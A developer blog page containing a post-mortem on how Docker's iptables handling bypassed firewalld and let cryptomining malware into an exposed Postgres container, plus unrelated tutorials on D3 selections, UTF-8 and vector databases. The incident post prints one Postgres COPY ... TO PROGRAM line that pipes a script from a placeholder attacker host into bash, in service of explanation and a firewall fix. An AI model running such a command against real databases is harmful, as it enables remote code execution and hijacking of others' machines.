martingaston.dev

Docker Got Me Hacked On Halloween

2025-11-16T00:00:00Z

Docker on Linux futzes with its own iptables and so totally sidesteps firewalld/ufw.

Let's rewind.

Friday, October 31: I span up a Postgres instance in a Docker container on one of my VMs for a proof-of-concept demo I'd be doing the next week. I had firewalld configured to deny incoming connections to port 5432, so I didn't even think about securing the database - it surely wouldn't be accessible on the public internet!

Look. What I did here was terrible. I copied and pasted the docker run --name some-postgres -e POSTGRES_PASSWORD=mysecretpassword -d postgres command from the Postgres image, exposed -p 5432 and called it a day.

This was lazy and bad, but I thought that access from the public internet would be blocked. Only another machine inside my tailnet was going to access it. No big deal.

Monday, November 3: Came back after a lovely weekend of not thinking about technology. But alas, the kinsing malware had made its way on the machine and was obliterating my poor 1 vCPU to mine cryptocurrency.

But, how?

Firstly, did you know PostgreSQL can run arbitrary commands on the host machine?

COPY (SELECT '') TO PROGRAM 'curl http://a-very-naughty-server.com/malicious-crypto-miner-install-script.sh | bash';

That'll do it.

Did you also know that the -p 5432 flag binds to 0.0.0.0, an IPv4 address which represents all possible network interfaces - including any connected to the public internet?

Now, this 0.0.0.0 binding isn't something you have to worry about if you're using Docker Desktop on macOS, because you're actually running inside a VM. And that VM only interacts with your host network's localhost. But on Linux that would mean you've basically opened the door to the whole internet, unless you've got a firewall blocking that port.

Which is what I had though, right? That's literally firewalld. The clue is in the name!

$ sudo firewall-cmd --zone=public --list-all
public (default, active)
  target: DROP
  ingress-priority: 0
  egress-priority: 0
  icmp-block-inversion: no
  interfaces: ens3
  sources:
  services: dhcpv6-client http https mdns
  ports:
  protocols:
  forward: yes
  masquerade: no
  forward-ports:
  source-ports:
  icmp-blocks:
  rich rules:

Deny by default! Drop anything that's not http(s), DNS or some thingamajic for IPv6! No port 5432 for you!

Actually, no.

Let's run a basic nginx container and expose container port 80 to port 8000 on the host:

$ docker run --rm -d -p 8000:80 nginx

And then from a totally different computer let's quite happily access that page:

$ curl 104.21.1.191:8000
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
html { color-scheme: light dark; }
body { width: 35em; margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif; }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>

<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>

<p><em>Thank you for using nginx.</em></p>
</body>
</html>

How is this madness happening? I've said it before, but: it shouldn't be getting through the firewall!?

Alright, let's do this. Hold on to something.

Let's remove some of Docker's functionality, namely its ability to set its own iptables rules and the userland-proxy. We won't worry about what the latter is in this article.

iptables is a very powerful tool that allows you to fiddle around with the netfilter kernel module, which is all very terrifying and cool.

$ echo '{"iptables":false,"userland-proxy":false}' | sudo tee /etc/docker/daemon.json
{"iptables":false}

$ sudo systemctl restart docker

Now, finally, a curl 104.21.1.191:8000 does nothing. It's also broken a whole bunch of other important things to do with container networking, but we won't worry about that.

Let's figure out the IP of the container inside the docker0 bridge network:

docker inspect 1bba7bc8e37f -f ''
172.17.0.2

Now we can muck around with iptables ourselves so that requests to 104.21.1.191:8000 go to 172.17.0.2:80. To do this we'll be using Network Address Translation (NAT), which is how the majority of container networking is handled.

iptables is powerful and complex and probably not worth investing a great amount of time into figuring out, as it's been superseded by nftables.

# PREROUTING run before any other routing decisions; the packet is on the way in
# -p specifies tcp protocol
# --dport is the destination port, so requests to port 8000
# -j jumps to destination NAT (dnat), which changes the packet's destination IP and/or port
# --to-destination specifies what the address ends up as: it's 172.17.0.2:80, aka where our container is running
sudo iptables -t nat -A PREROUTING -p tcp --dport 8000 -j DNAT --to-destination 172.17.0.2:80

# POSTROUTING runs after other routing decisions; the packet is on the way out 
# -s matches packets originating from 172.17.0.2, i.e. our container
# ! -o docker0 will only match packets that aren't trying to exit through the docker0 interface
# -j MASQUERADE will dynamically rewrite the source IP to the host's outgoing adress
sudo iptables -t nat -A POSTROUTING -s 172.17.0.2/32 ! -o docker0 -j MASQUERADE

# Allows packets that are heading to the container to go through the firewall - this rule will occur _after_ the original packet has had its destination address changed
sudo iptables -A FORWARD -p tcp -d 172.17.0.2 --dport 80 -j ACCEPT

# Allows packets that are coming out of the container to go through the firewall
sudo iptables -A FORWARD -p tcp -s 172.17.0.2 --sport 80 -j ACCEPT

Docker doesn't add these exact rules, but these are easier to understand and it's close enough.

What we see here is if a packet arrives at the machine asking for port 80, the rules will transmogrify it to actually be for 172.17.0.2:80 and then it can be flung over to the docker0 bridge network. On the way out, we once again modify the packet so that it goes back out as if it was calling the original packet the entire time.

And we're back:

$ curl 104.21.1.191:8000
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
html { color-scheme: light dark; }
body { width: 35em; margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif; }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>

<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>

<p><em>Thank you for using nginx.</em></p>
</body>
</html>

We haven't messed with firewalld at all during this. firewalld is still configured to deny the request to port 8000.

This is all fun and games, but why does it clash with firewalld? Well, firewalld (and ufw) also interact with the kernel-level netfilter features, and they end up clashing. Docker's use of iptables will essentially punch a hole straight in whatever you'd asked firewalld to be doing.

This is why I got hacked - I basically left the front door wide open. I'm not complaining. I was rushing around and not paying attention. Docker has all the relevant information nestled within their documentation. Binding a database to 0.0.0.0 is obviously a bad idea, even if you're largely just mucking about. And not changing the password from the one that's listed on the Docker Hub page is literally asking for the trouble.

What can you do about it?

If you don't want to start mucking around with your OS, you could follow a couple of simple rules:

Don't indiscriminantly bind to 0.0.0.0
Don't open a port that you don't want to be open
Have your VPS behind a hardware firewall

The trouble is, I'm extremely cheap and I don't want to change my VPS. And I'm also extremely forgetful, so I'll use -p 5432:5432 at the worst possible time.

Here's the functionality I want:

If there's a request for port 443 via the machine's public interface, that should be allowed
If there's a request for any other port via the machine's public interface, that should be denied
Containers should be able to call out to the internet with impunity, which will require recieving some packets back
Other interfaces, such as tailscale0 should be accepted by default

What I did: added some iptables rules into the DOCKER-USER filter. This is a chain added by Docker as a hook for user customisation.

First we reset all our shenanigans:

$ sudo iptables --table filter --flush FORWARD
$ sudo iptables --table nat --flush PREROUTING
$ sudo iptables --table nat --flush POSTROUTING
$ sudo rm /etc/docker/daemon.json
$ sudo systemctl restart docker

And we could add these rules:

sudo iptables -I DOCKER-USER -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
sudo iptables -A DOCKER-USER -i ens3 -p tcp --dport 443 -j ACCEPT
sudo iptables -A DOCKER-USER -i ens3 -j DROP

But that won't work because NAT rewrites the destination ports. By the time our filters kick in, the destination port is already 443 on the packet.

Instead, this needs a stateful firewall. That's exactly what conntrack does. It's another kernel module provided as part of the netfilter project, and will let us have knowledge of what our NAT-modified packet looked like before the switcheroo. Let's sudo iptables --table filter --flush DOCKER-USER and give it another go. We want to match on the original destination port of the packet before we run it through NAT.

sudo iptables -I DOCKER-USER -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
sudo iptables -A DOCKER-USER -i ens3 -p tcp -m conntrack --ctorigdstport 443 -j ACCEPT
sudo iptables -A DOCKER-USER -i ens3 -j DROP

That appears to have given me the behaviour I want, and I haven't had any crypto miners installed on my machine since. Looking forward to seeing what the hackers have planned for thanksgiving and christmas.

Understanding D3 Selections

2025-07-09T00:00:00Z

On this page, D3 is available globally. Explore in your browser's development tools as you read: try d3.select("table")

D3 is a mature library with a rich history that's famously a bit scary. It's no wonder LLMs love it for data visualisation.

To draw an SVG with three circles based off some data, the convention is this:

const circleData = [
  { x: 100,  y: 100,  r: 50 },
  { x: 400, y: 100, r: 50 },
  { x: 700, y: 100, r: 50 }
];

const svg = d3.select("svg");

svg.selectAll("circle")
  .data(circleData)
  .join("circle")
  .attr("cx", d => d.x)
  .attr("cy", d => d.y)
  .attr("r",  d => d.r)
  .attr("fill", "#FBFBFF")

When I started learning D3, this API boiled by brain. If you've never used D3 before, read the code again and see how it resonates with you. If you have used D3 before, try and remember whether you stumbled on some of its aspects.

In my case, I really struggled with a few things:

Why do I have to selectAll an element I know doesn't exist in order to make new elements?
Why do I explicitly have to state I'm appending a circle in the join method when I've already mentioned I'm selecting circles in selectAll? Isn't that an unnecessary duplication?
D3 has select and selectAll, with the former grabbing the first matching DOM element and the latter selecting all matching elements. The join method is used for saying what you want to happen when data is bound (the circleData above). While the library won't explicitly error out, you will never see any example using join with select, only selectAll. Why? Shouldn't it be possible to select an element and join one item?

All of these relate to D3's data join, which is both its secret sauce and most tricky quality. It's worth taking the time to understand what's going on and what I believe D3 is trying to achieve.

Why D3?

To understand better later, let's start by thinking about why we'd want to use D3 in the first place. The Web APIs already have a way to create, select and manipulate elements in the DOM: document.querySelector and document.querySelectorAll. Why not just use those?

⚠️ D3's remit is much, much broader than manipulating the DOM, but in this article when we say D3 we are going to be solely focused on d3-selection.

Consider this bar chart below. It's an <svg> populated with a few <rect> elements, with each bar showing the ⚽ goals scored by Jean Philippe-Mateta, Ismaïla Sarr, Eberechi Eze and Daniel Muñoz in the 2024/25 Premier League season. You can interact with the chart to alternate between versions created by D3 and the standard Web APIs.

🔎 Explore the raw dataset by inspecting the cpfcGoalscorers202425 object from your browser's development tools

You'll see two identical bar charts, both taking roughly ~30 lines of code to create. The primary difference comes from associating the cpfcGoalscorers202425 data with the chart.

With the standard Web API, we iterate over the players, creating an SVG <rect> for each of them and appending that to a parent <g> element:

const g = document.createElementNS("http://www.w3.org/2000/svg", "g");

cpfcGoalscorers202425.forEach((player) => {
  const bar = document.createElementNS("http://www.w3.org/2000/svg", "rect");
  bar.setAttribute("fill", player.color);
  bar.setAttribute("x", player.x);
  bar.setAttribute("y", y(player.goals));
  bar.setAttribute("width", barWidth);
  bar.setAttribute("height", height(player.goals));

  g.appendChild(bar);
});

The y and height functions here are defined elsewhere, and map the values to the SVG coordinate space. We'll hand-wave those away as an implementation detail.

Let's compare this with D3. We now have its famous data and join methods, and an API which opts for a more declarative style. You first bind data to your selection, and then join the data to elements:

svg
  .append("g")
  .selectAll("rect")
  .data(cpfcGoalscorers202425)
  .join("rect")
  .attr("fill", (d) => d.color)
  .attr("x", (d) => d.x)
  .attr("y", (d) => y(d.goals));
  .attr("width", barWidth)
  .attr("height", (d) => height(d.goals))

On such a basic chart, there's not too much difference between the two. But the D3 API allows you to also consider a couple of extra states for your data:

What happens when new data has to enter the DOM, or old and unneeded DOM elements need to exit?
If you've got a lot of complex data, how do you link your source data to your DOM elements?

Let's go back to our goalscorers chart. We can turn it into an animated chart which shows cumulative total goals for Crystal Palace players across the 38 matches in the 2024/25 season:

This feels like a more complex arrangement but, as far as the DOM is concerned, this is still essentially the same as what we had before: an <svg> with bunch of <rect> elements. The primary difference is the data - there's more of it, it changes, and we're using it in a more complex way. To achieve this with the vanilla Web APIs, we'd need to start taking on more complicated-sounding work. Chiefly:

Identifying when data has changed
Knowing which DOM element corresponds to which datum
What to do when new data turns up

Surprise: D3 does all of those things under the hood. In this chart, the code that looks after generating bars is very similar to how it looked before.

bars
  .data(data, (d) => d.player)
  .join(
    (enter) =>
      enter
        .append("rect")
        .attr("fill", (d) => colour(d.player))
        .attr("width", 54)
        .attr("x", (d, i) => x(i)),
    (update) => update
  )
  .attr("y", (d) => y(d.goals))
  .attr("height", height(d.goals));

The data method now takes an accessor function to provide a key, which lets D3 associate DOM elements to specific bits of data, and the join method now takes two functions: enter and update. The former creates a new <rect> element in the DOM when a player scores their first goal and joins the dataset, and the latter is the identity function. A third function can be provided for exit, but this isn't used here.

The y and height attributes are then set on the merged outputs of the enter and update selections, which is the selection that the join method returns. The x, y, colour and height functions are defined elsewhere, but these will return the relevant values for each attribute.

We have now stumbled upon the most sacred D3 concept: the magical data join. You'll often see it visualised as a Venn diagram:

Which is a nice representation for the following:

Data not bound to elements are sent to the enter function
Data already bound to elements are sent to the update function
Elements not bound to data are sent to the exit function

With this in mind - and, honestly, it's a lot - we can start addressing those original pain points.

Why `selectAll` elements that don't exist?

That's the data join at work! Let's revisit our original code:

svg.selectAll("circle")
  .data(circleData)
  .join("circle")
  .attr("cx", d => d.x)
  .attr("cy", d => d.y)
  .attr("r",  d => d.r)
  .attr("fill", "#FBFBFF")

We can now analyse what's going on with a bit more D3-specific panache:

selectAll("circle") returns an empty selection, as there were no <circle> elements nested inside the <svg> container.
The data method binds the array of data to the selection. Three new selections are created under the hood, each representing the enter, update and exit states. These selections can be empty. The update selection is returned; the selection remains aware of the enter and exit states for later use.
The join method operates on the enter, update and exit selections, passing them as parameters to the associated callback functions.
selectAll("circle") returned an empty selection, so the update and exit selections are empty. The enter selection callback operates on the supplied data, appending three <circle> elements to the <svg> container. The attr function accepts either a string or a function - if the latter is provided, D3 will pass the individual datum as the first parameter.
The join method returns a new selection resulting from merging the enter and update selections together.

This might all feel a bit overblown - and, dare I say it, clunky - in the case of displaying static data once in the DOM. But D3's elegance comes from how it generalises extremely well across cases where there are multiple elements moving through the enter, update and exit states, which is often the case when veering into animated or interactive charts.

Why `append` a circle after selecting circles?

That's also the data join at work! The selectAll grabs the initial selection, but the append on the enter selection specifically describes what to do when there is data that's not bound to an element.

You could append a <rect> instead, of course. What would happen if you did?

Returning to the case of static data: nothing weird would happen. You'd get a nice little <rect> sitting inside your SVG container. But if you wanted to make something dynamic, well, when you re-ran the selectAll you would once again receive an empty selection. And once again the bound data would go through the enter state. And another beautiful <rect> would end up, perhaps unexpectedly, inside the SVG.

Press the button to see that happening:

Why can't you `select` an element and `join` one item?

Technically, you can if you're willing to fudge it. Sort of. But you shouldn't, because it's not right.

It mostly comes down to parents.

But first: semantics. The word data is an English language hot mess, and is usually used in both its singular and plural forms; the singular would be datum. Within the realm of D3 we should very much consider it plural. So it wouldn't really make sense to try and bind multiple bits of data to a singular selection. In language terms, this is a closed case.

But... why stop there?

Within D3, data (plural!) is bound to a selection. A selection is an array of arrays of DOM elements.

select and selectAll both return the same core Selection object, which contains fields for _groups and _parents. Imagine something like this:

export class Selection {
  this._groups = groups;
  this._parents = parents;

  constructor(groups, parents) {
    this._groups = groups;
    this._parents = parents;
  }

  // ... a bunch of methods
}

But select and selectAll are also a little sneaky. They're top-level selection functions, d3.select and d3.selectAll, which query the entire document and return selections with one group containing a single or all elements.

A selection also has its own select and selectAll methods, however, which allow for nested selections. These return new selections limited to descendants of the original selection. In these new selections, elements of the old group become the new selection groups. The elements of the new selection are the matching descendant elements of the new groups.

Let's illustrate that with this table:

One	Two	Three
Four	Five	Six

This becomes important when we start to think about the data join. Specifically, the enter selection.

In D3's data join, the parent of a new element created by the .join() method is determined by the selection it's called on. The selection.select() method returns a new selection where the group's parent is inherited from the original selection.

Often, this is the <html> element because d3.select will always set the parent to the <html> element.

Let's break for a second here to check our understanding:

const data = [{ x: 100, y: 100, r: 25 }];

d3.select("svg")
  .select("circle")
  .data(data)
  .join("circle")
  .attr("cx", d => d.x)
  .attr("cy", d => d.y)
  .attr("r",  d => d.r)
  .attr("data-id", "the-missing-circle")

Given our new knowledge of how D3 sets a parent, and this code, where will the <circle> end up?

🔎 This code has been run on this page. You can investigate the DOM in your browser's development tools and search for the-missing-circle if you want to double-check your thinking, or if you don't believe me.

The answer is the <html> element. We can break down why:

The initial d3.select("svg") creates a selection with a single group, with its parent set to the <html> element.
The .select("circle") creates a new, empty selection that inherits the <html> parent.
We bind the data to the selection, creating an enter selection as there is no corresponding <circle> element for the data.
When the join method invokes the enter callback, D3 appends a <circle> to the parent element: <html>.

In contrast, selection.selectAll() creates a new selection where each group's parent is the element from the original selection. When you perform a data join, D3 knows to append the new elements as children of these specific group parents (e.g., appending <td>'s inside a <tr>). While you could contort the D3 API enough that a select would have a parent where something would display inside the DOM, it would never end up being quite the right parent.

Joining the D3 Enlightened

We've explored why D3 exists in the first place, and how the data join is central to its magic. By binding data across three states - enter, update and exit - we gain a powerful general API to work with data in the DOM.

We'll create one final visualisation to cement everything together. In the below grid, we bind to data of randomly select squares on an infinitely repeating timer. We use the data join to bring it to life in the DOM. Squares from the enter selection appear from yellow, the update selection pulses green and the exit selection shrinks to red.

With the power of D3 comes quite a low-level focus. There are certainly easier ways to make attractive basic charts - one of the D3 team's other projects, Plot, does just that.

And yet, I argue understanding D3 from a slightly lower level is a great way to appreciate it more thoroughly, and I also find if you don't come from a statistical background it helps appreciate that, too.

Not to mention you'll be able to correct the LLM when it makes the occasional mistake with the chart you just asked it to make. Here's to investigating with data!

The Magic of UTF-8: How Computers Understand Text

2025-01-01T00:00:00Z

If computers are just ones and zeroes, how are you reading this? Computers don't understand letters. Everything you read on these life-cursing devices has been turned into numbers.

Let's think about how this works. Imagine you want to write me a message, but we've agreed to communicate only via (hexadecimal) numbers. We decide to map letters to numbers. After much deliberation, we agree 41^[1] will represent A.

In the real world, we can spit this into a .txt file and observe the results:

$ printf '\x41' > lovely-message.txt
$ cat lovely-message.txt
A%

It works! That's because most computers already interpret 0x41 as A due to Unicode, the world's de facto text encoding standard in 2025.

Numbers go in, letters come out. We can also work in the other direction:

The box above is interactive, so play around with various characters and see if you can find some interesting results. Some ideas:

English text (Hello, World!)

Uppercase and lowercase characters (look at how HeLlO wOrLd is different to hElLo WoRlD)

Non-English text, e.g. Japanese (こんにちは世界)

Emoji (👋🌍)

Unicode is a successful standard because it solves the problem of everyone having to agree on what characters should become what numbers. Yes, this used to be a big problem. But it also triggers its own follow-up questions, such as: why does A get converted into a single number (0x41) but À ends up as two (0xC3 0x80)? And how come we can squidge all of Hello, World! into 17 bytes, but a single 👩🏽‍🏫 emoji takes up 15 bytes^[2] just by itself?

We'll get to it.

One Giant Dictionary

Let's start with what Unicode calls a code point, which at its most straightforward represents a single character in the overall Unicode space. Code points are the core building blocks of Unicode, and conceptually represent the letters, numbers and punctuation of most of the world's languages.

Unicode has been designed to be big. To feel the breadth of all this, play with this randomised display of code points from just 0.08% of the overall Unicode space:

You'll notice the characters above have all been rendered as glyphs: as in, you're looking at them. Unicode does not actually concern itself with how things are displayed. Some code points aren't even designed to be 'seen' in the way that a typical user would expect. Other things you might see on your screen come from smooshing two (or more) code points together: the Union Jack flag is actually both U+1F1EC and U+1F1E7, which will display as 🇬 and 🇧 when separate but 🇬🇧 when adjacent.

The Unicode spec handily defines what you or I expect to be a single character as a user-perceived character, because the term 'character' is massively overloaded. The formal way of defining a user-percieved character in Unicode is a grapheme cluster, which is a term we'll start using. By this point you're pretty deep into the annexes of specification: you're looking for UAX #29.

1,114,112 possible code points are available^[3], of which 154,998 have been used as of Unicode version 16.0. Unicode partitions its space into seventeen planes numbered 0 through 16, with each plane supporting 65,536 code points. Plane 0 is known as the Basic Multilingual Plane (BMP), and contains the majority of our languages. Planes 1 through 16 are defined as the Supplementary Planes. 10 of the supplementary planes are currently completely unused.

If you're reading this, it's likely most characters you'll encounter on a day-to-day basis feature in the Basic Multilingual Plane. The basic Latin character set used for the English language is nestled right near the start of the BMP. In fact, 0x41 to A actually originally came from the formerly dominant ASCII standard, which was mostly fine if you were looking to encode English and a pain if you weren't. In order to smooth overall adoption when it came to rolling out Unicode, ASCII's encodings became a subset of Unicode: 0x41 in ASCII is U+0041 in Unicode. This was a smart design decision.

The problem with ASCII, it turned out, was there was so much language outside of the limits of what it could recognise: its 7-bit space maxed out a meagre 128 characters. Comprehending the sheer amount of work and effort to accommodate all of the planet's languages can actually be particularly tricky for native English speakers (typers?) to wrap their heads around, mostly because we've never had to actively think about it for the majority of our computing lives: ASCII was literally built just for us.

If you visualise just the basic multilingual plane you can isolate the non-control characters of the ASCII block to see just how small it is in the overall space:

So, to be specific, one or more Unicode code points defines the grapheme cluster representation of what the user percieves as a character, and its glyph is how it looks on their screen. A grapheme cluster could be A or é or even 👩‍🚀. It might seem somewhat obvious but it's worth hammering that home: the glyphs for hello can look different when rendered with a sans-serif font than when hello is rendered with a serif one.

Onward, to Bytes!

The next step is to take those code points and encode them into sequences of bytes, so we can do things like save them as documents or send them down internet pipes. Unicode code points can be encoded in three delicious flavours: UTF-32, UTF-16 and UTF-8. Which one should you use?

Spoiler: it's UTF-8.

UTF-8, UTF-16 and UTF-32 are named based on the minimum amount of bits needed to encode code point: 8, 16 or 32, respectively. This means UTF-32 is theoretically the simplest, as every single code point uses exactly four bytes, but also the most space inefficient. Do not also be lulled into a false sense of security that UTF-32 is guaranteed to be straightforward, as we've already seen that code points do not have a 1:1 mapping with what's displayed on the screen due to grapheme clusters - remember 🇬🇧?

Due to its ASCII heritage^[4] and position at the very beginning of the code space, Basic Latin characters don't need more than one byte to be encoded. Both UTF-16 and UTF-8 are variable in their length, with UTF-16 being two bytes for anything in the Basic Multilingual Plane and four bytes for everything else. UTF-16 can be the most space efficient for some Asian languages. UTF-8 goes even further, and encodes characters between one and four bytes.

Anyway, fast forward a couple of decades and UTF-8 emerged as the clear favourite. 98% of websites now use UTF-8. Due to the success of UTF-8 and its ubiquity, most of us can go about our days without having to contemplate it in the slightest. I'm going to totally gloss over UTF-16 and UTF-32 for the rest of this article, which at least saves a discussion about endianness, and I can do this so flippantly exactly because UTF-8 is so popular.

Fun fact: JavaScript encodes strings as UTF-16. This isn't meant as some kind of 'lol JavaScript' remark, I just think it's interesting.

Onto the actual encoding itself. UTF-8 is a variable-width encoding, so the amount of bytes you'll need depends on the code point you're looking to encode:

Required Bytes	Start Code Point	End Code Point
1	U+0000	U+007F
2	U+0080	U+07FF
3	U+0800	U+FFFF
4	U+10000	U+10FFFF

You can break it down like this:

Single byte characters cover ASCII (0-127)
Two byte characters cover most Latin-script alphabets and some other scripts
Three byte characters cover the rest of the Basic Multilingual Plane (BMP)
Four byte characters cover all supplementary planes, including emoji and rare historical scripts

For an example, let's start with U+1F602, more commonly identified as the Face With Tears of Joy emoji. That code point will get encoded as four-bytes in UTF-8. In the buttons below you'll also see 읥, Θ and A - which are encoded as three, two and one byte, respectively.

You'll also notice that some extra bits sneak in. These clever little bits contain valuable additional information for anything decoding your UTF-8.

We start with the code point represented as binary - the 1F602 in U+1F602 - and distribute those bits across the necessary amount of bytes as per the encoding rules. These are colour coded so you can see where they all end up. As for those other, weird extra bits:

Two, three and four byte UTF-8 encodings start with two, three or four 1s, so that whatever ends up decoding this knows how many bytes to read and parse. A one-byte encoding starts with a 0 to ensure ASCII compatibility.
The second, third or fourth bytes of a UTF-8 encoding start with 10, so you know that they're following on from something else. Notice how it's not possible for a valid first byte to ever start with 10, which is very clever. If you're ever parsing UTF-8 and you stumble upon an unexpected byte starting with 10, you can know straight away that something's got jumbled up.

Wrapping Up

Now we can come back to our question that we know doesn't have the most straightforward answer: why is 👩🏽‍🏫 15 bytes in UTF-8?

We know what we're seeing visually is a glyph, and those will look different based on platform. Microsoft's FluentUI renders it as , for example, which may or may not look the same as the glyph above - depending on where you're viewing this.

We also know that we should generally think in terms of grapheme clusters rather than individual code points, which is especially true for Woman Teacher: Medium Skin Tone: the Unicode information which represents this single 'user-perceived' character is made up of the following four Unicode code points:

👩 U+1F469: The base emoji character for "Woman"
🏽 U+1F3FD: The modifier for "Medium Skin Tone"
U+200D: The Zero Width Joiner (ZWJ), which makes it explicit that the previous code points are is connected to the next one, which might not be interpretable on its own. This one doesn't have its own glyph information associated with it on my version of macOS, either.
🏫 U+1F3EB: The emoji for "School"

Put that together, and the UTF-8 encoding for this one fabulous 👩🏽‍🏫 emoji will end up as 15 bytes made up of 👩 = 0xF0 0x9F 0x91 0xA9, 🏽 = 0xF0 0x9F 0x8F 0xBD, ZWJ = 0xE2 0x80 0x8D and 🏫 = 0xF0 0x9F 0x8F 0xAB.

UTF-8 is probably one of the most successful standards ever produced. This little journey has already taken us to some of the interesting spots, and hopefully made you appreciate what a fascinating accomplishment it is to have one globally-accepted standard to cover all of the world's languages.

That's 65 in decimal, but we'll jump straight into hexadecimal because it's so commonplace when we start to go to the lower levels. I'll also refer to hexadecimal numbers with an 0x prefix going forward, so this would be 0x41. ↩︎
This brings us to a classic Unicode sort-of-problem: the string length of 👩🏽‍🏫 can fluctuate across languages. Python 3.13 and Ruby 3.2 both say it's 4. Go 1.23 and in Rust 1.83 both say 15. Node 20.15 says 7. There are perfectly logical and reasonable explanations for all of these results, and also how each language iterates a string will probably be more relevant for your day-to-day sanity. ↩︎
In the spec, Unicode favours thinking of this in its hexadecimal form of $10FFFF_{16}$ . ↩︎
ASCII was actually conceived in the 1960s as a 7-bit encoding, partially because the teletypes and teleprinters of the time were also 7-bit. I love this because, from a 2025 perspective, it's fascinating to think of addressing blocks of memory in anything less than a byte at a time. ↩︎

What's a Vector Database Actually Doing?

2024-07-16T00:00:00Z

Vector databases are hot right now. At the end of this article, I hope you'll have an intuitive feel for what a vector database is actually doing and how it could prove useful when we want to query things that are similar.

This sounds obvious, but a vector database is chiefly concerned with the efficient storage, retrieval and querying of vectors. To me, this makes them intriguingly different to most other database categories which tend to equally embrace a variety of data types - strings, integers, dates, floats and so on.

How Does It Work?

We're going to motivate this with a little bit of maths. It's fun, I promise.

Let's start by considering a pair of points^[1] on a two-dimensional plane: $(4,4)$ and $(-4,-4)$ . I've selected those because it's deliciously straightforward to plot them out, and I want this article to be less than 1200 words.

Voila! You'll see those two points in pink, but I've also cheekily added a third point in cyan: $(3,4)$ . We can see with our own eyes that $(3,4)$ is much closer to $(4,4)$ than it is $(-4,-4)$ , but as of July 2024 computers have absolutely zero intuition - so how might we calculate that? One formula we can employ is called the L2 distance^[2].

If we wanted to calculate the L2 distance, $d$ , between points $p$ and $q$ in an abstract $n$ -dimensional vector space, we'd do this:

d(p,q) = \sqrt{\sum_{i=1}^n(q_i - p_i)^2}

Don't worry - we'll go through this step by step. The big fancy sigma ( $\Sigma$ ) letter makes this quite confusing, but it's saying that we'll generate a squared number for the result after subtracting each dimension from our two points $p$ and $q$ , then make $d$ the square root of the total. We're popping it here now because later in the article we'll be contemplating vectors with hundreds of dimensions, and also it looks so cool.

Given $p=(4,4)$ and $q=(3,4)$ , we can calculate $d$ within a less generalised two-dimensional vector space. This makes $n = 2$ , and our resulting formula becomes $d(p,q) = \sqrt{(q_1 - p_1)^2 + (q_2 - p_2)^2}$ . Which is a bit easier to read.

We substitute in our values to calculate the differences for each dimension of $p$ and $q$ :

\begin{aligned} (q_1 - p_1)^2 = (4 - 3)^2 = 1^2 &= 1 \\ (q_2 - p_2)^2 = (4 - 4)^2 = 0^2 &= 0 \end{aligned}

And then take the square root of the sum of the differences to get the value of $d$ :

d = \sqrt{1+0} = 1

All that work for a $1$ ! Alas. We can do the same but where $p=(-4,-4)$ and $q = (3,4)$ :

\begin{aligned} q_1 - p_1 = 3 - (-4) &= 7 \\ q_2 - p_2 = 4 - (-4) &= 8 \\ (q_1 - p_1)^2 = 7^2 &= 49 \\ (q_2 - p_2)^2 = 8^2 &= 64 \\ \sqrt{49 + 64} &\approx 10.63 \\ d &\approx 10.63 \end{aligned}

That's it. That's all the maths^[3]. We can see the $d$ value is much greater between $(-4,-4)$ and $(3, 4)$ .

Now, let's fling all this into a vector database. There are dozens to choose from but, for simplicity, I am going to use reliable, friendly Postgres and its pgvector extension. The team makes a pre-cooked installation available via Docker, so we can spin it up locally:

$ docker run \
    --name pgvector \
    -e POSTGRES_PASSWORD=vector
    -d \
    -p 5432:5432 \
    --rm \
    pgvector/pgvector:pg16

And then feed it the relevant SQL. Our vector(2) column type will receive two-dimensional vectors, and we'll INSERT $(4,4)$ and $(-4,-4)$ as vectors into it.

CREATE EXTENSION vector;
CREATE TABLE vectors (id BIGSERIAL PRIMARY KEY, vector vector(2));
INSERT INTO vectors (vector) VALUES ('[4,4]'), ('[-4,-4]');

Now we can query the database directly for the L2 distances from $(3,4)$ with the <-> operator.

SELECT vectors.vector AS "Vector",
       vectors.vector <-> '[3,4]' AS "Distance From [3,4]"
FROM vectors;

Which returns the exact same results as our calculations earlier:

	Vector	Distance From [3,4]
1	[4,4]	1
2	[-4,-4]	10.63014581273465

Cool! Mathematics wins again!

But, Why?

Up until now we've been considering our vectors in a relatively abstract space, where $(3,4)$ had no particular meaning other than it was closer to $(4,4)$ than it was $(-4,-4)$ .

But we can take these vectors out of their happy abstract space and soak them in all kinds of meaning with a process called embedding.

It's easiest to think of an embedding model as, well, pure magic at this point. Think of it as a ready-made 'text to vectors' delivery service. For our purposes we'll use one called all-MiniLM-L6-v2, which will take a text input and return a 384 dimensional vector. This model was tuned on 1 billion sentence pairs, and as part of that training it picks up some ability to group sentences close to each other across those many dimensions. If two sentences are closely located within 384-dimensional space, the model has decided they share semantic meaning.

We won't be venturing into the LLM-world in this article, so no worrying about ChatGPT, Gemini or Claude. But one common use case for vector databases right now is to enrich a prompt with some memory and/or context. So you might store all your relevant internal documents in a vector database, and then pull out some similar text before sending your prompt with those results to the LLM.

Let's throw a few sentences at all-MiniLM-L6-v2:

sentences = [
    "Crystal Palace finished 10th in the premier league in 2023/24",
    "Man City finished 1st in the premier league in 2023/24",
    "Man City finished 1st in the premier league in 2022/23",
    "Brighton finished 11th in the premier league",
    "Preston finished 10th in the championship",
    "Cucumbers taste good when pickled",
    "Ginger tastes good when pickled",
    "Milk does not taste good when pickled",
    "Cats have four legs",
    "Dogs have four legs",
    "Humans have two legs"
]

We've got 11 sentences bucketed into three categories: football finishing positions, pickled foods and limbed animals.

It's hard for a tiny human brain to visualise 384 dimensional space, but at the same time I want to have a look at them. We can use the t-SNE algorithm (again, for now, let's just consider the implementation details pure magic) to bring that 384 dimensional data back into two dimensions, and then visualise the results.

